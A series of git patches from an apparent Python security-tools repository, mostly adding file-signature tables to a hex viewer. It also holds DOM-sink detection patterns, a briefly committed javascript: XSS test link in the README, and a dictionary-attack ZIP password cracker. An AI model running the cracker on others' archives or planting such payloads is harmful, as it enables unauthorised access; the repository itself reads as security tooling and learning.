From e33968cdd17619d46926b4855a1a742494df4f5e Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 13 Aug 2018 20:38:04 +0200 Subject: [PATCH 001/460] [hexview] file types c.d. --- hexview/hexview.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index c502c1a..e99f395 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -69,7 +69,9 @@ 'FFFE':'Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format', 'FFFE0000':'Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format', '25215053':'PostScript document', - '25504446':'PDF document' + '25504446':'PDF document', + '3026B2758E66CF11':'Advanced Systems Format (asf, wma, wmv)', + 'A6D900AA0062CE6C':'Advanced Systems Format (asf, wma, wmv)' } COLORS = { From 35c233b6101e507fe24c78ded5a9f2b9e334dfd2 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 13 Aug 2018 20:52:19 +0200 Subject: [PATCH 002/460] [hexview] file types c.d. --- hexview/hexview.py | 31 ++++++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index e99f395..abcf4a5 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -71,7 +71,36 @@ '25215053':'PostScript document', '25504446':'PDF document', '3026B2758E66CF11':'Advanced Systems Format (asf, wma, wmv)', - 'A6D900AA0062CE6C':'Advanced Systems Format (asf, wma, wmv)' + 'A6D900AA0062CE6C':'Advanced Systems Format (asf, wma, wmv)', + '2453444930303031':'System Deployment Image, a disk image format used by Microsoft', + '4F676753':'Ogg, an open source media container format', + '38425053':'Photoshop Document file, Adobe Photoshop native file format', + 'FFFB':'MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)', + '494433':'MP3 file with an ID3v2 container', + '424D':'BMP file, a bitmap format used mostly in the Windows world', + '4344303031':'ISO9660 CD/DVD image file', + '53494D504C452020':'Flexible Image Transport System (FITS)', + '664C6143':'Free Lossless Audio Codec (flac)', + '4D546864':'MIDI sound file', + 'D0CF11E0A1B11AE1':'Compound File Binary Format, a container format used for document by older versions of Microsoft Office', + '6465780A30333500':'Dalvik Executable', + '4B444D':'VMDK files', + '43723234':'Google Chrome extension or packaged app', + '41474433':'FreeHand 8 document', + '05070000424F424F':'AppleWorks 5 document', + '0607E100424F424F':'AppleWorks 6 document', + '455202000000':'Roxio Toast disc image file, also some .dmg-files begin with same bytes', + '8B455202000000':'Roxio Toast disc image file, also some .dmg-files begin with same bytes', + '7801730D626260':'Apple Disk Image file', + '78617221':'eXtensible ARchive format', + '504D4F43434D4F43':'Windows Files And Settings Transfer Repository', + '4E45531A':'Nintendo Entertainment System ROM file', + '7573746172003030':'tar archive', + '7573746172202000':'tar archive', + '746F7833':'Open source portable voxel file', + '4D4C5649':'Magic Lantern Video file', + '44434D0150413330':'Windows Update Binary Delta Compression', + '377ABCAF271C':'7-Zip File Format' } COLORS = { From 128f767a06b97666e151aab2f1de8a54e914beff Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Tue, 14 Aug 2018 12:23:54 +0200 Subject: [PATCH 003/460] [hexview] file types c.d. --- hexview/hexview.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index abcf4a5..64e6331 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -100,7 +100,15 @@ '746F7833':'Open source portable voxel file', '4D4C5649':'Magic Lantern Video file', '44434D0150413330':'Windows Update Binary Delta Compression', - '377ABCAF271C':'7-Zip File Format' + '377ABCAF271C':'7-Zip File Format', + '1F8B':'GZIP file', + 'FD377A585A0000':'XZ compression utility using LZMA/LZMA2 compression', + '04224D18':'LZ4 Frame Format', + '4D534346':'Microsoft Cabinet file', + '535A444488F02733':'Microsoft compressed file in Quantum format', + '464C4946':'Free Lossless Image Format', + '1A45DFA3':'Matroska media container, including WebM', + '3082':'DER encoded X.509 certificate' } COLORS = { From b4d9776e99637b2c136694bd13c9c13d2a07cfe3 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 15 Aug 2018 12:57:18 +0200 Subject: [PATCH 004/460] [nodestructor] JavaScript DOM methods patterns --- nodestructor/nodestructor.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index bedbda2..52a628b 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -92,7 +92,16 @@ ".*.ajax", ".*.getJSON", ".*\$http.", - ".*navigator.sendBeacon\(" + ".*navigator.sendBeacon\(", + ".*\.add\(", + ".*\.append\(", + ".*\.after\(", + ".*\.before\(", + ".*\.html\(", + ".*\.prepend\(", + ".*\.replaceWith\(", + ".*\.wrap\(", + ".*\.wrapAll\(", ] HTML_PATTERNS = [ From 6559b1875c8e4576a4952e6070182ead9c135c9c Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 15 Aug 2018 13:12:03 +0200 Subject: [PATCH 005/460] [hexview.py] file formats [DONE] --- hexview/hexview.py | 169 +++++++++++++++++++++++++++------------------ 1 file changed, 100 insertions(+), 69 deletions(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 64e6331..1494abf 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -35,80 +35,111 @@ '49492A00': 'Tagged Image File Format (tiff, Little Endian format)', '4D4D002A': 'Tagged Image File Format (tiff, Big Endian)', '49492A0010000000': 'Canon RAW Format Version 2', - '4352':'Canon RAW format is based on the TIFF file format', + '4352': 'Canon RAW format is based on the TIFF file format', '802A5FD7': 'Kodak Cineon image', - '524E4301':'Compressed file using Rob Northen Compression version 1', - '524E4302':'Compressed file using Rob Northen Compression version 2', - '53445058':'SMPTE DPX image (big endian format)', - '58504453':'SMPTE DPX image (little endian format)', + '524E4301': 'Compressed file using Rob Northen Compression version 1', + '524E4302': 'Compressed file using Rob Northen Compression version 2', + '53445058': 'SMPTE DPX image (big endian format)', + '58504453': 'SMPTE DPX image (little endian format)', '762F3101': 'OpenEXR image', - '425047FB':'Better Portable Graphics', - 'FFD8FFDB':'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE000104A4649460001':'JPEG raw or in the JFIF or Exif file format', - 'FFD8FFE1':'JPEG raw or in the JFIF or Exif file format', - '464F52':'IFF Interleaved Bitmap Image', - '4C424D':'IFF Interleaved Bitmap Image', - '464F52':'IFF 8-Bit Sampled Voice', - '535658':'IFF 8-Bit Sampled Voice', + '425047FB': 'Better Portable Graphics', + 'FFD8FFDB': 'JPEG raw or in the JFIF or Exif file format', + 'FFD8FFE000104A4649460001': 'JPEG raw or in the JFIF or Exif file format', + 'FFD8FFE1': 'JPEG raw or in the JFIF or Exif file format', + '464F52': 'IFF Interleaved Bitmap Image', + '4C424D': 'IFF Interleaved Bitmap Image', + '464F52': 'IFF 8-Bit Sampled Voice', + '535658': 'IFF 8-Bit Sampled Voice', '464F524D': 'IFF (misc filetypes)', '4C5A4950': 'lzip compressed file', - '4D5A':'DOS MZ executable file format and its descendants (including NE and PE)', - '504B0304':'zip file format and formats based on it, such as JAR, ODF, OOXML', - '504B0506':'zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)', - '504B0708':'zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)', - '526172211A0700':'RAR archive version 1.50 onwards', - '526172211A070100':'RAR archive version 5.0 onwards', + '4D5A': 'DOS MZ executable file format and its descendants (including NE and PE)', + '504B0304': 'zip file format and formats based on it, such as JAR, ODF, OOXML', + '504B0506': 'zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)', + '504B0708': 'zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)', + '526172211A0700': 'RAR archive version 1.50 onwards', + '526172211A070100': 'RAR archive version 5.0 onwards', '7F454C46': 'ELF Executable and Linkable Format', - '89504E470D0A1A0A':'Image encoded in the Portable Network Graphics format (PNG)', - 'CAFEBABE':'Java class file, Mach-O Fat Binary', - 'EFBBBF':'UTF-8 encoded Unicode byte order mark, commonly seen in text files', - 'FEEDFACE':'Mach-O binary (32-bit)', - 'FEEDFACF':'Mach-O binary (64-bit)', - 'CEFAEDFE':'Mach-O binary (reverse byte ordering scheme, 32-bit)', - 'CFFAEDFE':'Mach-O binary (reverse byte ordering scheme, 64-bit)', - 'FFFE':'Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format', - 'FFFE0000':'Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format', - '25215053':'PostScript document', - '25504446':'PDF document', - '3026B2758E66CF11':'Advanced Systems Format (asf, wma, wmv)', - 'A6D900AA0062CE6C':'Advanced Systems Format (asf, wma, wmv)', - '2453444930303031':'System Deployment Image, a disk image format used by Microsoft', - '4F676753':'Ogg, an open source media container format', - '38425053':'Photoshop Document file, Adobe Photoshop native file format', - 'FFFB':'MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)', - '494433':'MP3 file with an ID3v2 container', - '424D':'BMP file, a bitmap format used mostly in the Windows world', - '4344303031':'ISO9660 CD/DVD image file', - '53494D504C452020':'Flexible Image Transport System (FITS)', - '664C6143':'Free Lossless Audio Codec (flac)', - '4D546864':'MIDI sound file', - 'D0CF11E0A1B11AE1':'Compound File Binary Format, a container format used for document by older versions of Microsoft Office', - '6465780A30333500':'Dalvik Executable', - '4B444D':'VMDK files', - '43723234':'Google Chrome extension or packaged app', - '41474433':'FreeHand 8 document', - '05070000424F424F':'AppleWorks 5 document', - '0607E100424F424F':'AppleWorks 6 document', - '455202000000':'Roxio Toast disc image file, also some .dmg-files begin with same bytes', - '8B455202000000':'Roxio Toast disc image file, also some .dmg-files begin with same bytes', - '7801730D626260':'Apple Disk Image file', - '78617221':'eXtensible ARchive format', - '504D4F43434D4F43':'Windows Files And Settings Transfer Repository', - '4E45531A':'Nintendo Entertainment System ROM file', - '7573746172003030':'tar archive', - '7573746172202000':'tar archive', - '746F7833':'Open source portable voxel file', - '4D4C5649':'Magic Lantern Video file', - '44434D0150413330':'Windows Update Binary Delta Compression', - '377ABCAF271C':'7-Zip File Format', - '1F8B':'GZIP file', - 'FD377A585A0000':'XZ compression utility using LZMA/LZMA2 compression', - '04224D18':'LZ4 Frame Format', - '4D534346':'Microsoft Cabinet file', - '535A444488F02733':'Microsoft compressed file in Quantum format', - '464C4946':'Free Lossless Image Format', - '1A45DFA3':'Matroska media container, including WebM', - '3082':'DER encoded X.509 certificate' + '89504E470D0A1A0A': 'Image encoded in the Portable Network Graphics format (PNG)', + 'CAFEBABE': 'Java class file, Mach-O Fat Binary', + 'EFBBBF': 'UTF-8 encoded Unicode byte order mark, commonly seen in text files', + 'FEEDFACE': 'Mach-O binary (32-bit)', + 'FEEDFACF': 'Mach-O binary (64-bit)', + 'CEFAEDFE': 'Mach-O binary (reverse byte ordering scheme, 32-bit)', + 'CFFAEDFE': 'Mach-O binary (reverse byte ordering scheme, 64-bit)', + 'FFFE': 'Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format', + 'FFFE0000': 'Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format', + '25215053': 'PostScript document', + '25504446': 'PDF document', + '3026B2758E66CF11': 'Advanced Systems Format (asf, wma, wmv)', + 'A6D900AA0062CE6C': 'Advanced Systems Format (asf, wma, wmv)', + '2453444930303031': 'System Deployment Image, a disk image format used by Microsoft', + '4F676753': 'Ogg, an open source media container format', + '38425053': 'Photoshop Document file, Adobe Photoshop native file format', + 'FFFB': 'MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)', + '494433': 'MP3 file with an ID3v2 container', + '424D': 'BMP file, a bitmap format used mostly in the Windows world', + '4344303031': 'ISO9660 CD/DVD image file', + '53494D504C452020': 'Flexible Image Transport System (FITS)', + '664C6143': 'Free Lossless Audio Codec (flac)', + '4D546864': 'MIDI sound file', + 'D0CF11E0A1B11AE1': 'Compound File Binary Format, a container format used for document by older versions of Microsoft Office', + '6465780A30333500': 'Dalvik Executable', + '4B444D': 'VMDK files', + '43723234': 'Google Chrome extension or packaged app', + '41474433': 'FreeHand 8 document', + '05070000424F424F': 'AppleWorks 5 document', + '0607E100424F424F': 'AppleWorks 6 document', + '455202000000': 'Roxio Toast disc image file, also some .dmg-files begin with same bytes', + '8B455202000000': 'Roxio Toast disc image file, also some .dmg-files begin with same bytes', + '7801730D626260': 'Apple Disk Image file', + '78617221': 'eXtensible ARchive format', + '504D4F43434D4F43': 'Windows Files And Settings Transfer Repository', + '4E45531A': 'Nintendo Entertainment System ROM file', + '7573746172003030': 'tar archive', + '7573746172202000': 'tar archive', + '746F7833': 'Open source portable voxel file', + '4D4C5649': 'Magic Lantern Video file', + '44434D0150413330': 'Windows Update Binary Delta Compression', + '377ABCAF271C': '7-Zip File Format', + '1F8B': 'GZIP file', + 'FD377A585A0000': 'XZ compression utility using LZMA/LZMA2 compression', + '04224D18': 'LZ4 Frame Format', + '4D534346': 'Microsoft Cabinet file', + '535A444488F02733': 'Microsoft compressed file in Quantum format', + '464C4946': 'Free Lossless Image Format', + '1A45DFA3': 'Matroska media container, including WebM', + '3082': 'DER encoded X.509 certificate', + '4449434D': 'DICOM Medical File Format', + '774F4646': 'WOFF File Format 1.0', + '774F4632': 'WOFF File Format 2.0', + '3c3f786d6c20': 'eXtensible Markup Language (xml) when using the ASCII character encoding', + '0061736d': 'WebAssembly binary format', + 'cf8401': 'Lepton compressed JPEG image', + '435753': 'flash .swf', + '465753': 'flash .swf', + '213C617263683E': 'linux deb file', + '52494646': 'Google WebP image file', + '27051956': 'U-Boot / uImage. Das U-Boot Universal Boot Loader', + '7B5C72746631': 'Rich Text Format', + '54415045': 'Microsoft Tape Format', + '47': 'MPEG Transport Stream (MPEG-2 Part 1)', + '000001BA': 'MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)', + '000001B3': 'MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)', + '7801': 'zlib (No Compression/low)', + '789c': 'zlib (Default Compression)', + '78da': 'zlib (Best Compression)', + '1F8B0800': 'Minecraft Level Data File (NBT)', + '62767832': 'LZFSE - Lempel-Ziv style data compression algorithm using Finite State Entropy coding. (bvx2)', + '4F5243': 'Apache ORC (Optimized Row Columnar) file format', + '4F626A01': 'Apache Avro binary file format', + '53455136': 'RCFile columnar file format', + '65877856': 'PhotoCap Object Templates', + '5555aaaa': 'PhotoCap Vector', + '785634': 'PhotoCap Template', + '50415231': 'Apache Parquet columnar file format', + '454D5832': 'Emulator Emaxsynth samples', + '454D5533': 'Emulator III synth samples', + '1B4C7561': 'Lua bytecode' } COLORS = { From e42c229aaeea4b66c84f398b895c27f2523e177a Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 27 Aug 2018 15:46:52 +0100 Subject: [PATCH 006/460] Update README.md --- README.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 4b202b0..47262b5 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,6 @@ security-tools ============== -Collection of simple security tools created in Python. \ No newline at end of file +Collection of simple security tools created in Python. + +[test](javascript://%0d%0aalert`1`;com\) From 0fdf15640a416d27adffc1ad27b5fbb1875b9a97 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 27 Aug 2018 15:47:05 +0100 Subject: [PATCH 007/460] Update README.md --- README.md | 2 -- 1 file changed, 2 deletions(-) diff --git a/README.md b/README.md index 47262b5..4eec1a7 100644 --- a/README.md +++ b/README.md @@ -2,5 +2,3 @@ security-tools ============== Collection of simple security tools created in Python. - -[test](javascript://%0d%0aalert`1`;com\) From 5ff73ca862fa3767f4052868e0af130ce9e07ff4 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 30 Aug 2018 22:36:04 +0100 Subject: [PATCH 008/460] zip-cracker tool --- zip-cracker.py | 40 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100755 zip-cracker.py diff --git a/zip-cracker.py b/zip-cracker.py new file mode 100755 index 0000000..aa6e2ed --- /dev/null +++ b/zip-cracker.py @@ -0,0 +1,40 @@ +#!/usr/bin/python +""" +Dictionary attack ZIP password cracker +https://github.com/igniteflow/violent-python/blob/master/pwd-crackers/zip-crack.py +""" +import zipfile +import argparse + + +def main(zipfilename, dictionary): + """ + Zipfile password cracker using a brute-force dictionary attack + """ + # zipfilename = 'secret.zip' + # dictionary = '/Users/bl4de/hacking/dictionaries/passwords_2150000.txt' + + password = None + zip_file = zipfile.ZipFile(zipfilename) + with open(dictionary, 'r') as f: + for line in f.readlines(): + password = line.strip('\n') + # print password + try: + zip_file.extractall(pwd=password) + password = 'Password found: %s' % password + except: + pass + print password + +if __name__ == '__main__': + parser = argparse.ArgumentParser() + parser.add_argument("zipfilename", help="Specify a .zip file to crack") + parser.add_argument( + "-w", "--wordlist", help="dictionary file") + + args = parser.parse_args() + try: + main(args.zipfilename, args.wordlist) + except: + print "[-] arguments error :(" From bb76b8132f111b79ee1423e3b95c4f6a00dbac0c Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 30 Aug 2018 23:09:02 +0100 Subject: [PATCH 009/460] [hexview.py] lowercased --- hexview/hexview.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 1494abf..32fe738 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -214,7 +214,7 @@ def make_color(c, df_c=False): retval = "{}{:02X}{}".format( COLORS['magenta'], ord(c), COLORS['white']) - return retval + return retval.lower() def format_text(c): From 27cb912250e7abeeabefbf8abb3c73b41cfdd6a7 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 30 Aug 2018 23:11:55 +0100 Subject: [PATCH 010/460] [hexview.py] screenshot added --- hexview/README.md | 2 ++ hexview/screen1.png | Bin 0 -> 580890 bytes 2 files changed, 2 insertions(+) create mode 100644 hexview/screen1.png diff --git a/hexview/README.md b/hexview/README.md index 254d46c..66667ac 100644 --- a/hexview/README.md +++ b/hexview/README.md @@ -1,5 +1,7 @@ ### hexview.py +![](screen1.png) + hexview is an universal hex viewer for files. I've created this tool while learning some new Python skills from this awesome YT video tutorial by [DrapsTV](https://twitter.com/DrapsTV): diff --git a/hexview/screen1.png b/hexview/screen1.png new file mode 100644 index 0000000000000000000000000000000000000000..93aed7cb3c7145c5acdaa259e665d01b65ddaebb GIT binary patch literal 580890 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 